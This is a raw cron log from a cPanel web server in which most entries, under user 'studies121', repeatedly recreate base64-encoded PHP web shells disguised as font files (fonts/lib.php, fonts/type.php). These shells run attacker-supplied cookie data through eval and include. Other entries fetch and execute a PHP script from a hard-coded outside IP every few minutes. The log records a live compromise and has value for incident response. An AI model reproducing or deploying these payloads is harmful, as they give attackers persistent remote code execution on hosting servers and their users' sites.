Aug 31 06:00:01 ip-184-168-122-23 CROND[10007]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 06:01:01 ip-184-168-122-23 CROND[10180]: (root) CMD (run-parts /etc/cron.hourly)
Aug 31 06:01:01 ip-184-168-122-23 CROND[10181]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 31 06:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[10180]: starting 0anacron
Aug 31 06:01:01 ip-184-168-122-23 CROND[10188]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 06:01:01 ip-184-168-122-23 CROND[10190]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 06:01:01 ip-184-168-122-23 CROND[10189]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 06:01:01 ip-184-168-122-23 CROND[10192]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 06:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[10199]: finished 0anacron
Aug 31 06:02:01 ip-184-168-122-23 CROND[10321]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 06:02:02 ip-184-168-122-23 CROND[10325]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 06:02:02 ip-184-168-122-23 CROND[10324]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 06:02:02 ip-184-168-122-23 CROND[10326]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 06:02:02 ip-184-168-122-23 CROND[10323]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 06:03:01 ip-184-168-122-23 CROND[10444]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 06:03:01 ip-184-168-122-23 CROND[10446]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 06:03:01 ip-184-168-122-23 CROND[10447]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 06:03:01 ip-184-168-122-23 CROND[10449]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 06:04:01 ip-184-168-122-23 CROND[10558]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 06:04:01 ip-184-168-122-23 CROND[10560]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 06:04:01 ip-184-168-122-23 CROND[10563]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 06:04:01 ip-184-168-122-23 CROND[10562]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 06:04:01 ip-184-168-122-23 CROND[10561]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 06:05:01 ip-184-168-122-23 CROND[10670]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 06:05:01 ip-184-168-122-23 CROND[10672]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 06:05:01 ip-184-168-122-23 CROND[10676]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 06:05:01 ip-184-168-122-23 CROND[10677]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 06:05:01 ip-184-168-122-23 CROND[10674]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 06:05:01 ip-184-168-122-23 CROND[10675]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 31 06:05:01 ip-184-168-122-23 CROND[10673]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 06:06:01 ip-184-168-122-23 CROND[10783]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 06:06:01 ip-184-168-122-23 CROND[10785]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 06:06:01 ip-184-168-122-23 CROND[10786]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 06:06:01 ip-184-168-122-23 CROND[10788]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 06:06:01 ip-184-168-122-23 CROND[10792]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 06:07:01 ip-184-168-122-23 CROND[10901]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 06:07:01 ip-184-168-122-23 CROND[10902]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 06:07:01 ip-184-168-122-23 CROND[10905]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 06:07:01 ip-184-168-122-23 CROND[10907]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 06:08:01 ip-184-168-122-23 CROND[11078]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 06:08:01 ip-184-168-122-23 CROND[11081]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 06:08:01 ip-184-168-122-23 CROND[11082]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 06:08:01 ip-184-168-122-23 CROND[11083]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 06:08:01 ip-184-168-122-23 CROND[11085]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 06:09:01 ip-184-168-122-23 CROND[11190]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 06:09:01 ip-184-168-122-23 CROND[11191]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Aug 31 06:09:01 ip-184-168-122-23 CROND[11192]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 06:09:01 ip-184-168-122-23 CROND[11194]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 06:09:01 ip-184-168-122-23 CROND[11196]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 06:10:01 ip-184-168-122-23 CROND[11304]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 06:10:01 ip-184-168-122-23 CROND[11306]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 06:10:01 ip-184-168-122-23 CROND[11307]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 06:10:01 ip-184-168-122-23 CROND[11310]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 06:10:01 ip-184-168-122-23 CROND[11311]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 06:10:01 ip-184-168-122-23 CROND[11312]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 06:10:01 ip-184-168-122-23 CROND[11318]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 06:10:01 ip-184-168-122-23 CROND[11314]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 06:11:01 ip-184-168-122-23 CROND[11457]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 06:11:01 ip-184-168-122-23 CROND[11456]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 06:11:01 ip-184-168-122-23 CROND[11458]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 06:11:01 ip-184-168-122-23 CROND[11459]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 06:12:01 ip-184-168-122-23 CROND[11563]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 06:12:01 ip-184-168-122-23 CROND[11566]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 06:12:01 ip-184-168-122-23 CROND[11565]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
